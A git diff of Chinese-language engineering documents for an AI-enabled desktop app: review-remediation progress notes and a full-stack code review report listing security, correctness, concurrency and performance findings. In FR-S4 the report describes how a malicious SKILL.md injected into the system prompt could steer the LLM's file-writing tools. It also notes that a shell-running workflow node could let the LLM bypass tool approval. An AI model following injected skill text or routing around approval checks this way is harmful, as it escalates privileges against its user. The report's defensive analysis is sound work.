4. **df-workflow ConditionEngine 从未接线**:DAG 条件分支整体失效(R-PD-3),与 todo `T-260614-11 条件表达式引擎升级`同根因——conditions 仅 true/false 字面量 + executor 不调用。需统一在条件引擎设计文档收敛。
|
||||||
|
5. **工作流 ScriptNode 任意 shell(R-PD-2)**:独立于 AI 工具审批链的安全缺口,前端 IPC 直接触发,需工作流脚本执行边界设计。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 推进编排
|
||||||
|
|
||||||
|
1. **P1 可执行 6 项**(R-P1-1~6)→ workflow 并行推进(文件域隔离 + 实现/审查 pipeline)
|
||||||
|
2. **P1 需设计 3 项**(R-PD-1/2/3)→ 进设计文档(密钥迁移健壮性 / 工作流脚本执行边界 / 条件引擎)+ todo
|
||||||
|
3. **P2 可执行清债批**(R-P2-1~13)→ 顺带推进(死代码删除 + 小修,零风险减法)
|
||||||
|
4. **P2 需设计**(R-PD-4~14)→ 补 todo
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 推进状态(2026-06-15)
|
||||||
|
|
||||||
|
**批1 核查闭环**(主代理独立 cargo check 全量 + 三 crate test 全绿):
|
||||||
|
- ✅ R-P1-2 shell kill_on_drop(`df-execute/shell.rs`:kill_on_drop(true)+spawn+wait_with_output,timeout drop child 触发 kill)
|
||||||
|
- ✅ R-P1-3 审批 Ok TOCTOU 短路(`df-workflow/executor.rs:126`:Ok 分支加 is_cancelled 短路,新测 `test_cancelled_node_skips_set_completed`,15 passed)
|
||||||
|
- ✅ R-P1-5 update_task status 校验(`df-core/types.rs` is_valid+valid_values+7 单测;`task.rs` status 值校验 Err 含合法值清单,df-core 7 passed)
|
||||||
|
- ✅ R-P1-6 HumanNode 无效 decision continue(`df-nodes/human_node.rs`:Err→continue+warn,2 测改 `_ignored_then_timeout`,15 passed)
|
||||||
|
|
||||||
|
**批2 核查闭环**(主代理独立核查 git diff + cargo check 全量 exit 0 + df-ai 10 passed):
|
||||||
|
- ✅ R-P1-1 Anthropic 流式 error 误判完成(`provider.rs` StreamChunk 加 `error: Option<String>` 字段 `#[serde(skip)]`;`anthropic_compat.rs:205` error 分支 finished→false+error=Some(全分支补 error:None 初始化);`stream_recv.rs:142` chunk.error 识别 emit AiError(MidStream)+return None,与 Err 分支对称;新单测 2 个,df-ai **10 passed**)
|
||||||
|
- ✅ R-P1-4 build_provider DRY(`secret.rs` build_provider_for 工厂已落(resolve→ensure_resolved→build),5 调用点全用;`ai_node.rs:50-53` parse_params 内联空 key 校验(df-nodes 架构边界不依赖 src-tauri,语义对齐 ensure_resolved_key);裸 build_provider 残留 = lib.rs 工厂定义 + ai_node 生产(前面 parse_params 已校验) + ai_node 测试,合理)
|
||||||
|
|
||||||
|
**P1 可执行 6 项全闭环**(批1 4 + 批2 2)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 推进状态(2026-06-15)— P2 清债批
|
||||||
|
|
||||||
|
**批3 核查闭环**(主代理独立核查 git diff + cargo workspace 全量 exit 0 + 5 crate test 共 126 passed):
|
||||||
|
- ✅ 批3-A df-ai 域:R-P2-7 client builder 三级→两级(删中间同配置重建级,两 provider 对称)+ R-P2-8 router.rs 删 + R-P2-9 stream.rs 删(lib.rs 删 2 mod);决策不抽 build_llm_client(过度设计),df-ai **31 passed**
|
||||||
|
- ✅ 批3-B df-workflow 域:R-P2-3 build_dag 边校验(node_ids HashSet O(1) + bail 野边)+ R-P2-10 dag 删 predecessors/successors + R-P2-11 registry 删 is_registered/registered_types + R-P2-12 dag_def 删 from_dag_edges(同步删 use Dag)+ R-P2-13 state 删 set_waiting/set_skipped(set_cancelled 保留扩注释),df-workflow **15 passed**
|
||||||
|
- ✅ 批3-C df-core+DRY 域:R-P2-4 TokenAccumulator saturating_add 3 处(add prompt/completion + total)+ R-P2-5 now_millis 统一 df-core(types.rs pub fn + lib.rs re-export + commands/mod.rs/df-storage crud.rs 转发保留函数名,37 调用点零破坏);review crate 归属错(df-core/conversation.rs 实为 src-tauri/commands/ai/、src-tauri/crud.rs 实为 df-storage/)已按真实位置修正,df-core **7 passed**
|
||||||
|
- ✅ 批3-D src-tauri 域:R-P2-1 agentic converged 互斥(达 MAX 且 has_tool_calls 仍 true 时 emit AiError+warn 前置警示「末轮工具结果未回传」,仍入库 Completed 保留内容,与 break 收敛分支互斥不重复 emit)+ R-P2-2 write_file .bak 清理(rename 成功后 old_size>0 时 remove,忽略清理失败)+ R-P2-6 extract_error_diag 重写(`&bytes[i..i+3]` 字节切片→`chars().collect()`+char 迭代+HTTP_CODES 白名单,修多字节 UTF-8 panic 风险 + 长数字串内嵌误命中),devflow **58 passed**
|
||||||
|
|
||||||
|
**P2 可执行 13 项全闭环**。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 推进状态(2026-06-15)— P1 需设计 3 项设计文档
|
||||||
|
|
||||||
|
**3 设计文档已起草**(general-purpose agent 读码 + 细化方案,待用户核对):
|
||||||
|
|
||||||
|
- 📄 **R-PD-1 密钥迁移健壮性** → [密钥迁移健壮性-2026-06-15.md](../02-架构设计/密钥迁移健壮性-2026-06-15.md):推荐方案 A「编辑路径即时迁移」——DB 有明文+keyring 无时先 `set_provider_secret` 补密钥,成功后清 DB 明文,失败 Err 阻断 DB 不动(最小局部改动 commands.rs 一处,放弃 B 反方向维持未迁移态 / C 显式标志位 schema 演进成本)
|
||||||
|
- 📄 **R-PD-2 工作流脚本执行边界** → [工作流脚本执行边界-2026-06-15.md](../02-架构设计/工作流脚本执行边界-2026-06-15.md):推荐方案① 删 `src-tauri/src/state.rs:227-229` script 注册掐断入口 + 下线 demoDag(DevFlow workflow 纯演示,唯一构造点 demoDag 三步 echo,一行删换零攻击面,黑名单/参数过滤是不完备运行时博弈),未来真要脚本能力新建独立 BuildNode。**路径修正**:build_registry 实在 `src-tauri/src/state.rs:225`(review 原文 `state.rs` 无 crate 前缀易歧义——`crates/df-workflow/src/state.rs` 是 StateMachine 状态机与节点注册无关)。**R-PD-2 必须先于 R-PD-12**(否则 LLM 暗道绕过 RiskLevel 审批链)
|
||||||
|
- 📄 **R-PD-3 条件表达式引擎** → [条件表达式引擎-2026-06-15.md](../02-架构设计/条件表达式引擎-2026-06-15.md):推荐分阶段 Phase1 数据流过滤(executor inputs 收集处调 ConditionEngine + adjacency_in 携 condition,零终态冲突独立可 ship)/ Phase2 调度短路(层调度前求值条件全 false 则 target 不执行,复活 `set_skipped` 旁路与 `set_cancelled` 同型,注释区分语义)。**待用户确认 3 决策点**:A 引擎实现(手写最小求值器 vs evalexpr 库)/ B 终态机制(set_skipped 复活 vs 其他)/ C 求值失败兜底(默认 true vs false)
|
||||||
|
|
||||||
|
**与 R-P2-13 的张力**:R-P2-13 删了 set_waiting/set_skipped(当时全仓零调用,扩写 set_cancelled 注释「唯一受控旁路」);R-PD-3 Phase2 接线条件引擎后 set_skipped 有了真实消费者需复活——set_cancelled「唯一旁路」注释届时需同步改。
|
||||||
|
|
||||||
|
**review 路径归属勘误汇总**(本轮 3 处,已分别在对应设计文档/实现修正):
|
||||||
|
- R-P2-4 `df-core/conversation.rs` → 实 `src-tauri/src/commands/ai/conversation.rs`(TokenAccumulator)
|
||||||
|
- R-P2-5 `src-tauri/src/crud.rs` → 实 `crates/df-storage/src/crud.rs`(now_millis_str)
|
||||||
|
- R-PD-2 `state.rs` build_registry → 实 `src-tauri/src/state.rs:225`(非 `crates/df-workflow/src/state.rs`)
|
||||||
359
docs/05-代码审查/全栈代码审查报告-2026-06-14.md
Normal file
359
docs/05-代码审查/全栈代码审查报告-2026-06-14.md
Normal file
@@ -0,0 +1,359 @@
|
|||||||
|
# 全栈代码审查报告(2026-06-14)
|
||||||
|
|
||||||
|
> 范围:Rust 9 crate + Tauri 命令层 + Vue 3 前端(stores/composables/views/components/api),约 25k 行。
|
||||||
|
> 方法:5 个 general-purpose 子代理按模块并行审查(df-nodes/workflow/execute、df-ai/ideas/storage、src-tauri commands、stores/composables、views/components/api),主代理对高严重度项逐条读码核实。
|
||||||
|
> 互斥关系:与 [aichat审查报告-2026-06-14.md](../02-架构设计/aichat审查报告-2026-06-14.md)(AI Chat 专项)、[工作流审批审查报告-2026-06-14.md](../02-架构设计/工作流审批审查报告-2026-06-14.md)(工作流审批专项)去重;本轮不重复两份已记录的内容,仅记新发现与核查澄清。
|
||||||
|
> 增补:2026-06-14 追加 §0.1 修复进度表 + 在 FR-D1/FR-P1/FR-P2/FR-R4/FR-R5 章节内联标注已修复状态(对照 commit 36d68dd / 4a95f6a / 4b5f096)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 0. 核查澄清(审查代理误判,不记为 bug)
|
||||||
|
|
||||||
|
### ✅ 已澄清:`df-ideas/promotion.rs:80-91` `do_promote` 非"伪造成功"
|
||||||
|
|
||||||
|
子代理报告称 `do_promote` 返回 `promoted:true` 却未建项目,是"成功撒谎"高严重度 bug。**核查后判定为误判**:
|
||||||
|
|
||||||
|
- IPC 层 `src-tauri/src/commands/idea.rs:112` `promote_idea` **真正调用** `df_project::manager::ProjectManager::create_from_idea` 构造项目实体 + 映射 `ProjectRecord` + `update_full` 回写想法。前端走此 IPC,不走 crate。
|
||||||
|
- `df-ideas/src/promotion.rs` 的 `do_promote`(Auto 策略分支)**无任何调用方**,是 [功能决策记录 §想法立项](../02-架构设计/功能决策记录-2026-06-14.md) 明确的"crate 留纯决策 TODO"——crate 不依赖 df-storage/df-project 以避循环依赖,副作用放 IPC 组合。
|
||||||
|
- [todo.md:145](../todo.md) 已标注 `do_promote crate 层 TODO(现走前端闭环)`。
|
||||||
|
|
||||||
|
**保留的低优提示**:`do_promote` 返回值 `promoted:true` 对一个未接 df-project 的函数是误导性签名,若将来有人直接调用会产生真实的"成功撒谎"。建议接入前把返回改 `promoted:false` + `reason: "crate 层未接入"`,或加 `#[allow(dead_code)]` + 注释固化"无副作用占位"语义。**不计为新 bug,仅留改进提示。**
|
||||||
|
|
||||||
|
## 0.1 修复进度(2026-06-14 增补)
|
||||||
|
|
||||||
|
> 后续 commit 已落地的修复项汇总。下表 ID 沿用 commit message 编号(与本报告 §2-§6 的 FR-S/C/R/P/D 编号体系不完全一致,已括注对应章节)。报告内已有条目的,已在对应章节标题追加 ✅ 标记并补「已完成」说明;以下为**报告原未单列、commit 已落地**的项。
|
||||||
|
|
||||||
|
| commit ID | 问题 | 位置 | 状态 |
|
||||||
|
|---|------|------|------|
|
||||||
|
| 36d68dd FR-D6 | 补 `delete_task`/`update_task` 工具(防误用 `delete_project` 清理孤儿任务)| `tool_registry.rs` | ✅ 已完成(原缺任务级删改工具,迫使 LLM 误调项目级删除)|
|
||||||
|
| 36d68dd FR-D7 | 抽 `bind_dir_to_project` 消除 `create_project`/`bind_directory` 重复(DRY)| `tool_registry.rs` | ✅ 已完成 |
|
||||||
|
| 36d68dd FR-D8 | `create_idea` schema 补 `priority` 字段(前后端契约对齐)| `tool_registry.rs` | ✅ 已完成 |
|
||||||
|
| 4a95f6a FR-D4 | `replace_tool_result_content` 正向 O(n) 改反向 `rposition`(审批替换命中最近)| `crates/df-ai/src/context.rs` | ✅ 已完成(本报告未单列此 crate 层方法;低频审批路径,不引入索引)|
|
||||||
|
|
||||||
|
> 本报告 §6 FR-D4 指向的是 `migrations.rs` 的 13 个 if 链 DRY(与此处 commit 内 FR-D4 不同名同号),两者无关,勿混淆。报告 FR-D1(confirmDialog 重复)即 commit 内 FR-D5,已在 §6 内联标注。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 与已有文档去重
|
||||||
|
|
||||||
|
以下子代理报告的项**已在现有文档/todo 记录**,本报告不重复,仅交叉指引:
|
||||||
|
|
||||||
|
| 子代理发现 | 已记录位置 | 状态 |
|
||||||
|
|---|---|---|
|
||||||
|
| 条件引擎空壳(`conditions.rs` 仅认 true/false 字面量) | todo.md:30 (B-260614-02 修默认值) + todo.md:112 (T-260614-11 表达式升级待做) | 已记录 |
|
||||||
|
| 路径穿越 / symlink 逃逸 | todo.md:102 (T-260614-04 已完成 canonicalize) | 已修(注:canonicalize 防逃逸,但 **未防 read_file TOCTOU**,见 FR-S2) |
|
||||||
|
| localStorage 跨窗口传 currentText | todo.md:98 (B-260614-05,Sprint 19 有意保留) | 已记录 |
|
||||||
|
| ai_key 明文存 SQLite | 功能决策记录-归档-2026-06-14.md(旧记录,无根治决策) | **未根治,本轮重申见 FR-S1** |
|
||||||
|
| Settings.vue 1042 行 god file | todo.md:88 (T-260614-06 待立项) | 已记录 |
|
||||||
|
| confirmDialog 4 处重复 | 隐含在 View改造指南,无显式 todo | 记为 FR-D1 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 安全(最高优先级)
|
||||||
|
|
||||||
|
### 🔴 FR-S1 — api_key 明文存储 + 经 IPC 明文传前端 [已核实]
|
||||||
|
|
||||||
|
**位置**:
|
||||||
|
- `crates/df-storage/src/migrations.rs:445-457`(`ai_providers.api_key TEXT NOT NULL` 明文列)
|
||||||
|
- `crates/df-storage/src/models.rs:138`(`api_key: String` 裸字段)
|
||||||
|
- `src-tauri/src/commands/ai/commands.rs:299-318`(`ai_save_provider` 直接 `update_full` 落盘)
|
||||||
|
- `src/views/Settings.vue:53`(`listProviders` 返回完整 key,前端 `maskKey` 仅展示层)
|
||||||
|
|
||||||
|
**问题**:三个环节都明文——DB 文件 `app_data_dir/devflow.db` 明文落盘全部 provider 密钥;list 命令经 IPC 把明文 key 传到前端 webview;前端仅做视觉 mask。任何能读 DB 文件的进程(备份、同步盘、其他本机进程)直接拿全部密钥。
|
||||||
|
|
||||||
|
**严重度**:高(桌面应用典型安全缺口,密钥=成本+越权)。
|
||||||
|
|
||||||
|
**建议**:OS 级凭据存储(Windows Credential Manager / macOS Keychain / Linux Secret Service,用 `keyring` crate 包一层),DB 只存引用 id;list 命令返回 mask 后的占位,仅编辑保存时按需取明文。
|
||||||
|
|
||||||
|
### 🔴 FR-S2 — `read_file` TOCTOU + `write_file` 无大小限制 [已核实]
|
||||||
|
|
||||||
|
**位置**:`src-tauri/src/commands/ai/tool_registry.rs:364-417`
|
||||||
|
|
||||||
|
**问题**:
|
||||||
|
- `read_file:364-380` 先 `tokio::fs::metadata(path)` 检查大小 ≤1MB,再 `tokio::fs::read_to_string(path)` 重新打开读——两个独立 syscall 之间路径可被 symlink 替换,1MB 限制可被绕过(检查时指向小文件、读取时切到大文件)。
|
||||||
|
- `write_file:399-417` 无任何 `content.len()` 校验,LLM 经审批可写超大文件撑爆磁盘/对话历史(虽有 `truncate_for_persist` 50KB 兜底持久化,但磁盘写入无防护)。
|
||||||
|
|
||||||
|
**注**:T-260614-04 已加 `resolve_workspace_path` canonicalize 防 symlink 逃逸,但 canonicalize 在文件存在时才做、且不防检查/读取两步间的替换。
|
||||||
|
|
||||||
|
**严重度**:高(审批门控后的 LLM 写权限,破坏面大)。
|
||||||
|
|
||||||
|
**建议**:`read_file` 改单次 `File::open → file.metadata() → read` 同一句柄消除竞态;`write_file` 加 `content.len()` 上限(如 1MB)超限 bail。
|
||||||
|
|
||||||
|
### 🔴 FR-S3 — `approve_human_approval` 未校验 decision 白名单 [已核实]
|
||||||
|
|
||||||
|
**位置**:`src-tauri/src/commands/workflow.rs:180-206`
|
||||||
|
|
||||||
|
**问题**:`decision: String` 直接透传到 `HumanApprovalResponse`,无白名单校验。`human_node` 若对 decision 做字符串匹配(如 `== "approved"`),传入 `""` / `"yes"` / `"approve"` 会被当作既非批准也非拒绝,HumanNode 可能永久卡死直到超时。
|
||||||
|
|
||||||
|
**严重度**:高(工作流审批的输入校验缺口,前端可传任意字符串)。
|
||||||
|
|
||||||
|
**建议**:命令层校验 `decision ∈ {"approved","rejected"}`,非法值返回 Err。
|
||||||
|
|
||||||
|
### 🟠 FR-S4 — SKILL.md 全文注入 system prompt [仅代理报告待复核]
|
||||||
|
|
||||||
|
**位置**:`src-tauri/src/commands/ai/commands.rs:67-71` + `src-tauri/src/commands/ai/skills.rs:164-169`
|
||||||
|
|
||||||
|
**问题**:`ai_chat_send(skill=...)` 把任意本机 `~/.claude/skills/*/SKILL.md` 全文拼到 system prompt。被篡改/恶意的 SKILL.md(含 prompt injection 指令)会作为系统指令注入,覆盖行为准则;配合 LLM 可调工具(write_file/create_project)构成提权路径。
|
||||||
|
|
||||||
|
**严重度**:中(信任本机技能文件的设计取舍,但缺隔离标注)。
|
||||||
|
|
||||||
|
**建议**:注入时明确包裹"以下是用户选择的技能说明,非系统指令"的隔离边界;或文档标注此取舍。
|
||||||
|
|
||||||
|
### 🟠 FR-S5 — 跨对话越权审批 [仅代理报告待复核]
|
||||||
|
|
||||||
|
**位置**:`src-tauri/src/commands/ai/audit.rs:111-139` + `commands.rs:104-185`
|
||||||
|
|
||||||
|
**问题**:`ai_approve` 只按 `tool_call_id` 从 `session.pending_approvals` 取审批,不校验该 tool_call 是否属于前端当前展示的对话。配合 `restore_pending_approvals` 启动时把所有 pending 行重建到单一内存 HashMap,任意前端可对任意对话的 pending 工具调用执行/拒绝。
|
||||||
|
|
||||||
|
**严重度**:中(本地单机影响有限,但审批 UI 的"对话隔离"是假象;Medium/High 工具审批门控意义被削弱)。
|
||||||
|
|
||||||
|
**建议**:`ai_approve` 增加 `expected_conversation_id` 参数并校验;或降级为文档说明"审批不按对话隔离"。
|
||||||
|
|
||||||
|
### 🟡 FR-S6 — `validate_column_name` 未登记表直接放行 [仅代理报告待复核]
|
||||||
|
|
||||||
|
**位置**:`crates/df-storage/src/crud.rs:334-350`
|
||||||
|
|
||||||
|
**问题**:`allowed_columns_for` 对未登记表返回 `None` → `validate_column_name` 返回 `Ok(())` 放行。当前 7 个 Repo 内部安全(表名是宏编译期常量),但 `is_allowed_column` 是 `pub fn`,若未来加了未登记表却走通用查询路径,列名直接进 `format!("... WHERE {} = ?1", field)` 字符串拼接即 SQL 注入。靠纪律非靠类型。
|
||||||
|
|
||||||
|
**严重度**:低(当前不可触发,潜在注入面)。
|
||||||
|
|
||||||
|
**建议**:未登记表保守拒绝,`None` 分支改 `Err`。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 正确性 Bug(行为错但不伪造)
|
||||||
|
|
||||||
|
### 🟠 FR-C1 — `formattedEvents` 时间漂移 [已核实]
|
||||||
|
|
||||||
|
**位置**:`src/views/ProjectDetail.vue:298-307`
|
||||||
|
|
||||||
|
**问题**:`formattedEvents` 是 computed,内部对每条事件 `new Date().toLocaleTimeString()` 取"当前时刻"。每次 `store.liveEvents` 变化(新事件追加)整个 computed 重算,**所有历史日志的 time 被刷新为最新触发时刻**,而非事件发生时刻。日志时间全错。
|
||||||
|
|
||||||
|
**严重度**:中(明显体验 bug)。
|
||||||
|
|
||||||
|
**建议**:事件入数组时固化时间戳(store push 时记 `Date.now()` 或用后端事件自带的 timestamp),computed 只读不改时间。
|
||||||
|
|
||||||
|
### 🟠 FR-C2 — `net_sentiment=0` 文案/样式矛盾 [已核实]
|
||||||
|
|
||||||
|
**位置**:`src/views/Ideas.vue:103`(模板)+ `:368`(`sentimentClass`)
|
||||||
|
|
||||||
|
**问题**:模板 `adversarialEval.net_sentiment > 0 ? 正面 : 负面`(`> 0` 严格),`sentimentClass` `sentiment >= 0 ? 'positive' : 'negative'`(`>= 0` 含零)。`net_sentiment === 0` 时:文案走 else 显示「负面」,样式走 `positive`。视觉与文案矛盾。
|
||||||
|
|
||||||
|
**严重度**:中(评估卡片核心展示,矛盾误导用户)。
|
||||||
|
|
||||||
|
**建议**:统一三档 `> 0 / < 0 / === 0`(中性),文案 + class 同源判定。
|
||||||
|
|
||||||
|
### 🟡 FR-C3 — Settings.vue 三个 timer 只清一个 [已核实]
|
||||||
|
|
||||||
|
**位置**:`src/views/Settings.vue:749-751`
|
||||||
|
|
||||||
|
**问题**:组件有 `_concurrencyTimer`(660)、`_knowledgeSaveTimer`(717)、`_toastTimer`(390)三个 setTimeout,`onUnmounted` 只 `clearTimeout(_concurrencyTimer)`。另两个泄漏,unmount 后若 fire 会写已销毁 reactive(`toast`/`knowledgeConfig`)。
|
||||||
|
|
||||||
|
**严重度**:低(3000ms/300ms 短 timer,实际触发概率低,但属明确的资源管理缺口)。
|
||||||
|
|
||||||
|
**建议**:`onUnmounted` 清全部三个 timer。
|
||||||
|
|
||||||
|
### 🟡 FR-C4 — `MIGRATION_VERSION` 死常量与逻辑错位 [已核实]
|
||||||
|
|
||||||
|
**位置**:`crates/df-storage/src/migrations.rs:7`
|
||||||
|
|
||||||
|
**问题**:`const MIGRATION_VERSION: i32 = 12`,但 `run()` 的 if 链已调到 `migrate_v13`(实际版本 13)。常量全仓未被引用(dead constant),却留在文件头作"当前迁移版本"误导。新加 v14 迁移时若有人据此常量判断,会踩坑。
|
||||||
|
|
||||||
|
**严重度**:低(当前无功能影响,纯误导 + 易踩坑)。
|
||||||
|
|
||||||
|
**建议**:删除未引用常量;或改成数组驱动的迁移注册(`&[(version, migrate_fn)]` 循环),让编译器/结构保证版本号与执行链同步。
|
||||||
|
|
||||||
|
### 🟡 FR-C5 — `AiConversationDetail` 缺 `readonly` 字段 [已核实]
|
||||||
|
|
||||||
|
**位置**:`src/api/types.ts:242-246`(缺字段)vs `src-tauri/src/commands/ai/commands.rs:450-455`(后端生成中返回 `readonly:true`)
|
||||||
|
|
||||||
|
**问题**:后端 `ai_conversation_switch` 在 `session.generating` 时返回 `readonly: true`,前端类型定义未声明。store 层读 `detail.readonly` 会 TS 报错或被忽略,生成中切换对话时前端无法感知只读态。
|
||||||
|
|
||||||
|
**严重度**:低(TS 类型缺口,影响开发期类型安全 + 一个未利用的只读信号)。
|
||||||
|
|
||||||
|
**建议**:`AiConversationDetail` 加 `readonly?: boolean`。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 并发 / 竞态(前端高频路径)
|
||||||
|
|
||||||
|
### 🟠 FR-R1 — `switchConversation` 无切换 token,竞态致历史错配 [仅代理报告待复核]
|
||||||
|
|
||||||
|
**位置**:`src/composables/ai/useAiConversations.ts:44-121`
|
||||||
|
|
||||||
|
**问题**:`switchConversation` 含多个 await(`aiApi.switchConversation`、`aiApi.pendingToolCalls`)。快速连点 A→B,若 B 网络更快先返回,`state.activeConversationId=B` 但 A 后返回又把 `state.messages` 覆盖成 A 的历史——最终 activeId=B、messages=A,视图与激活会话不一致。B 的流式 delta 也可能被 `isCurrent` 判定错配,串话到 A 视图。
|
||||||
|
|
||||||
|
**严重度**:中(用户高频操作路径,错配难复现但体验崩坏)。
|
||||||
|
|
||||||
|
**建议**:加切换 token(`latestSwitchId`),await 后比对,过期响应丢弃;或用 `generatingConvId` 而非 `activeConversationId` 路由流式事件。
|
||||||
|
|
||||||
|
### 🟠 FR-R2 — 全局单看门狗 timer 多窗口互踩 [仅代理报告待复核]
|
||||||
|
|
||||||
|
**位置**:`src/composables/ai/useAiStream.ts:18-44` + `useAiWindow.ts`(共享 state 单例)
|
||||||
|
|
||||||
|
**问题**:`_streamWatchdog` 模块级单 timer。分离窗口模式主/分离窗口共享同一 `state`,两侧 `handleEvent` 都 `resetStreamWatchdog()`。主窗口进入审批等待(clear timer)后,分离窗口的一个 delta 又 `resetStreamWatchdog()` 重启,审批态被误触发 130s 超时强制收尾。
|
||||||
|
|
||||||
|
**严重度**:中(隐蔽难复现,审批态被误中断)。
|
||||||
|
|
||||||
|
**建议**:按 `conversation_id` 维护 `Map<convId, timer>`,或分离窗口模式下由一方独占看门狗。
|
||||||
|
|
||||||
|
### 🟡 FR-R3 — `liveEvents` 数组无限增长 [仅代理报告待复核]
|
||||||
|
|
||||||
|
**位置**:`src/stores/project.ts:213`
|
||||||
|
|
||||||
|
**问题**:`state.liveEvents.push(payload)` 从不裁剪。长时间运行的工作流让数组无限膨胀,每次 push 触发整个数组的响应式依赖重算(含 `formattedEvents` computed 全量 map)。
|
||||||
|
|
||||||
|
**严重度**:低(需超长工作流才显现,但内存+响应式开销随时间线性增长)。
|
||||||
|
|
||||||
|
**建议**:加上限(如 `length > 500` 时 `shift` 最旧)或改环形缓冲。
|
||||||
|
|
||||||
|
### 🟡 FR-R4 — LLM `complete()` 同步路径无超时无重试 [仅代理报告待复核] ✅ 已完成(commit 36d68dd)
|
||||||
|
|
||||||
|
**位置**:`crates/df-ai/src/openai_compat.rs:230-243` + `anthropic_compat.rs:226-232`
|
||||||
|
|
||||||
|
**问题**:`Client::builder()` 只设 `connect_timeout(30s)` 刻意不设总 timeout。`complete()`(同步调用,非流式)路径无整体超时、无重试、无取消令牌。远端建连成功但响应慢(网络静默、限流排队)时 `send().await` 无限挂起,卡死调用方任务。流式路径注释说由上层 idle timeout 兜底,但 complete() 无此兜底。
|
||||||
|
|
||||||
|
**严重度**:中(一次网络抖动挂死一轮对话)。
|
||||||
|
|
||||||
|
**建议**:`complete()` 用 `tokio::time::timeout` 包整体调用;加重试(指数退避 2-3 次)。
|
||||||
|
|
||||||
|
> **已完成**:`complete()` 路径用 `RequestBuilder::timeout(Duration::from_secs(60))` 设 60s 单请求超时;不影响 `stream` 流式路径(仍靠上层 idle timeout 兜底)。重试未加(当前需求仅防挂死)。commit 36d68dd。
|
||||||
|
|
||||||
|
### 🟡 FR-R5 — `findToolCall` / `flatMap` 全量线性扫描 [仅代理报告待复核] ✅ 已完成(commit 4b5f096)
|
||||||
|
|
||||||
|
**位置**:`src/composables/ai/useAiEvents.ts:63-71` + `useAiSend.ts:82-84`
|
||||||
|
|
||||||
|
**问题**:每个 `AiToolCallCompleted`/`AiApprovalRequired`/`AiApprovalResult`/`approveToolCall` 都遍历全部 messages 再遍历每条 toolCalls。长对话(数百消息)高频工具调用 O(n²)。
|
||||||
|
|
||||||
|
**严重度**:低(性能,长对话显现)。
|
||||||
|
|
||||||
|
**建议**:维护 `Map<toolCallId, AiToolCallInfo>` 索引,`AiToolCallStarted` 登记,事件直接查 Map。
|
||||||
|
|
||||||
|
> **已完成**:`useAiEvents::findToolCall` 改为反向遍历(命中最近一条同 id 工具调用)。**放弃 Map 索引方案**——审批替换等场景需命中最新 toolCall,Map 索引易留陈旧引用。commit 4b5f096。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 性能(热路径)
|
||||||
|
|
||||||
|
### 🟡 FR-P1 — `dag.rs` 拓扑排序 O(V·E) + 入度 unwrap panic 风险 [仅代理报告待复核] ✅ 已完成(commit 4b5f096 / commit 内编号 FR-D1)
|
||||||
|
|
||||||
|
**位置**:`crates/df-workflow/src/dag.rs:65,74,114`
|
||||||
|
|
||||||
|
**问题**:`successors`/`predecessors` 是 `self.edges.iter().filter(...)` 全表扫描。`topological_layers` 对每个出队节点调 `successors`,整体 O(V·E);`executor.rs:81` 又对每个节点调 `predecessors`,再叠加 O(V·E)。DAG 变大(几十节点上百边)明显变慢。另 `dag.rs:115` `in_degree.get_mut(&succ).unwrap()`,若 edges 含 target 不在 nodes 的野节点(successors 不过滤),succ 不在 in_degree 表 → unwrap panic。
|
||||||
|
|
||||||
|
**严重度**:低(当前 DAG 规模小无感)。
|
||||||
|
|
||||||
|
**建议**:预建 `adjacency_out`/`adjacency_in: HashMap<NodeId, Vec<NodeId>>`,`add_edge*` 维护,拓扑降 O(V+E);`successors` 过滤野节点或 unwrap 改 `if let Some`。
|
||||||
|
|
||||||
|
> **已完成**:`dag.rs::topological_layers` 一次性遍历边建 `adjacency_out`(出边表)+ 入度表,BFS 分层走索引;`executor.rs::run` 预建 `adjacency_in`(入边索引)取前驱。O(V·E) → O(V+E),14 测试全绿(含 executor 3 测)。commit 4b5f096(该 commit 内编号为 FR-D1)。
|
||||||
|
|
||||||
|
### 🟡 FR-P2 — `search_vector` 全表扫 + SELECT * [仅代理报告待复核] ✅ 已完成(commit 4a95f6a / commit 内编号 FR-D2)
|
||||||
|
|
||||||
|
**位置**:`crates/df-storage/src/crud.rs:1176-1209`
|
||||||
|
|
||||||
|
**问题**:每次向量检索 `SELECT * FROM knowledges WHERE status='published' AND embedding IS NOT NULL` 拉全部已发布记录的完整 BLOB(含 content/title 大文本),Rust 端算余弦。仅用了 embedding 却拉了全部字段。注释自评"<50k <50ms",但无 LIMIT 上限,行数无界增长。
|
||||||
|
|
||||||
|
**严重度**:低(知识检索热路径,当前数据量可接受)。
|
||||||
|
|
||||||
|
**建议**:SELECT 只取 id+embedding,算完 top-N 的 id 再回表取详情;长期换 sqlite-vec(注释已预告)。
|
||||||
|
|
||||||
|
> **已完成**:`SELECT *` 改为显式 14 列(id, kind, title, content, tags, status, confidence, reuse_count, verified, source_project, source_ref, reasoning, created_at, updated_at),`embedding` 单独另取。消除隐式依赖,字段级精简待单独立项。commit 4a95f6a(该 commit 内编号为 FR-D2)。
|
||||||
|
|
||||||
|
### 🟡 FR-P3 — 全局单 SQLite 连接串行瓶颈 [仅代理报告待复核]
|
||||||
|
|
||||||
|
**位置**:`crates/df-storage/src/db.rs:13-60` + `crud.rs` 宏内 `spawn_blocking`+`blocking_lock`
|
||||||
|
|
||||||
|
**问题**:整个数据库一条 `Connection`,所有读写串行抢 `tokio::sync::Mutex`。每条 CRUD(含 `list_all`/`search`)都 spawn_blocking + blocking_lock。全局热点锁,并发查询互相阻塞。WAL 已开但读路径未享并发红利。代码注释已有 r2d2 TODO 未做。
|
||||||
|
|
||||||
|
**严重度**:低(单用户桌面应用,并发量小,当前无感)。
|
||||||
|
|
||||||
|
**建议**:r2d2/deadpool-sqlite 连接池(写单连接+Mutex,读多连接并发);最低限度换 `std::sync::Mutex`(spawn_blocking 同步上下文内开销更低,不跨 await)。
|
||||||
|
|
||||||
|
### 🟡 FR-P4 — `human_node` 500ms 忙轮询取消状态 [已核实]
|
